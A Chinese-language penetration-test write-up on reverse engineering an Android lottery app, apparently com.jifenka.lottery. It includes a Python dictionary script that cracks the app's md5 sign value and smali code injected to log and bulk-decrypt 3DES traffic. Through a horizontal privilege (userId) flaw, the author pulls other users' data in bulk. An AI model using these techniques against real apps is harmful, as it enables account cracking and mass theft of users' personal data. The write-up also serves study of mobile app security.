APK是AndroidPackage的缩写,即Android安装包(apk)。APK是类似Symbian Sis或Sisx的文件格式。通过将APK文件直接传到Android模拟器或Android手机中执行即可安装。
本次对这个APK进行分析,通过解密加密的数据,进而发现存在越权漏洞,然后就可以批量下载其他用户的数据。
可以清楚的看到,加密的字段就是这段代码了,代码追踪后,发现str1就是输入的用户名,那现在明白了,sing的值就是md5(用户名+xxx@xxx.cn)。下面也证明了
既然知道了加密的算法,那就开始破解吧,使用python生成了密码本,然后对用户名进行破解。
import hashlib import os md5value = [] f1 = file('/Users/0xExploit/Tools/passwd1.txt') for i in f1.readlines(): i = i.strip('/n/r') md5_32 = hashlib.md5(i+'xxx@xxx.com').hexdigest() md5value.append(md5_32) f1.close() f2 = file('/Users/0xExploit/Tools/passwd_md5.txt','a+') for i in md5value: f2.writelines(i+os.linesep) f2.close()
如果就这么结束了,那也太easy了。。
成功破解出一个账号,登录后,随便点击一个功能模块,使用burp截包。request数据包如下,可以看到,又进行了加密。。
response数据包如下,也是加密的。
仔细想想,数据包发送和接收都是加密的,那么加密和解密的函数一般都在APK里面,不然数据无法正常显示在
页面上。
从图中可以看到,请求的data部分是msg=…,于是我们在反编译后的代码中搜索msg,定位到httpRequestManager.class中,然后确认msg的值是str2=localDispatchProtocal.mashall()。那现在我们看看mashall()中的代码吧。
看到字符串"mashall明文"和"mashall密文"了,好激动。。但是可以看到str3中包含了很多的数据,那么我们直
接用log输出吧。
定义一个crack.smali文件,放到反编译后的smali文件夹中,内容如下:
.class public Lcrack; .super Ljava/lang/Object; .source "crack.java" .method public static log(Ljava/lang/String;)V .locals 1 .prologue const-string v0, "info1" invoke-static {v0, p0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I return-void .end method
然后再smali中,添加如下代码,v6是加密前的数据,V8是加密后的数据,所以我们直接在Log中将代码输出。
在“mashall明文”上面,还有一个字段使用了MD5进行了加密,我们定位到MD5函数,仍然使用Log,将参数输
出出来。然后打开eclipse,重新打包APK,运行程序。观察Log,如下:
第一条日志:是当前时间,即代码中的setPostTime()函数.
第二条日志:参数+当前时间+salt
第三条日志:md5(参数+当前时间+salt)
第四条日志:request加密前内容
第五条日志:request加密后的内容。
现在我们比一下,在一次测试中,burp拦截到的msg内容和Log中加密后的数据是一样的。
通过这几条日志的分析,我们现在已经很清楚的知道了request中参数是如何进行加密的。这里面唯一的变量就是userId(setPostTime()可以是一样的值),通过修改userId,巧合的测试到此处存在水平权限问题,即可以查询到其他用户的信息。
通过前面的分析,我们知道,可以获取到其他用户的信息,但是我们还不能通过burp的intruder功能,因为返回
的信息是加密的。那我们现在找找解密的函数吧。
因为上面的加密函数是encrypt3DES(),所以现在我们搜索3DES相关的函数,最终找到了解密函数decrypt3DES()
现在,我们可以编程实现这个算法,然后统一解密,也可以编写smali,直接进行解密。 我采用第二种方式(并不是直接写smali,而是先写android代码,然后反编译得到自己想要的代码)
我采用的思路是:直接利用APK中的解密函数,批量进行解密。
2.将加密的response放到数组中,然后在一个onclick中执行for循环,调用unmashall()(unmashall函数是调用decrypt3DES进行解密的函数)函数,for循环类似如下:
.method public static get()V .locals 4 .prologue .line 20 const/16 v2, 0xa new-array v1, v2, [Ljava/lang/String; .line 21 .local v1, "str":[Ljava/lang/String; const/4 v2, 0x0 const-string v3, "........." aput-object v3, v1, v2 .line 22 const/4 v0, 0x0 .local v0, "i":I :goto_0 array-length v2, v1 if-lt v0, v2, :cond_0 .line 26 return-void .line 23 :cond_0 invoke-virtual {v3}, Lcom/jifenka/lottery/manager/SecurityManager;->unmashall(Ljava/lang/String;)Ljava/lang/String; .line 22 add-int/lit8 v0, v0, 0x1 goto :goto_0 .end method
.method public static puts(Ljava/lang/String;)V .locals 7 .prologue :try_start_0 const-string v3, "/sdcard/debug.txt" new-instance v2, Ljava/io/FileOutputStream; const/4 v5, 0x1 invoke-direct {v2, v3, v5}, Ljava/io/FileOutputStream;-><init>(Ljava/lang/String;Z)V .line 19 new-instance v4, Ljava/io/OutputStreamWriter; const-string v5, "gb2312" invoke-direct {v4, v2, v5}, Ljava/io/OutputStreamWriter;-><init>(Ljava/io/OutputStream;Ljava/lang/String;)V .line 21 invoke-virtual {v4, p0}, Ljava/io/OutputStreamWriter;->write(Ljava/lang/String;)V const-string v5, "/r/n" invoke-virtual {v4, v5}, Ljava/io/OutputStreamWriter;->write(Ljava/lang/String;)V .line 23 invoke-virtual {v4}, Ljava/io/OutputStreamWriter;->flush()V .line 25 invoke-virtual {v4}, Ljava/io/OutputStreamWriter;->close()V .line 27 invoke-virtual {v2}, Ljava/io/FileOutputStream;->close()V :try_end_0 .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0 .line 37 :cond_0 :goto_0 return-void .line 30 :catch_0 move-exception v0 .line 34 const-string v5, "debug" const-string v6, "file write error" invoke-static {v5, v6}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I goto :goto_0 .end method
其实这个渗透就是用了一个水平越权的漏洞,但是在很多APK中并没有重视这些问题,以为加密了就能解决问题。。好了,码完了,累尿了。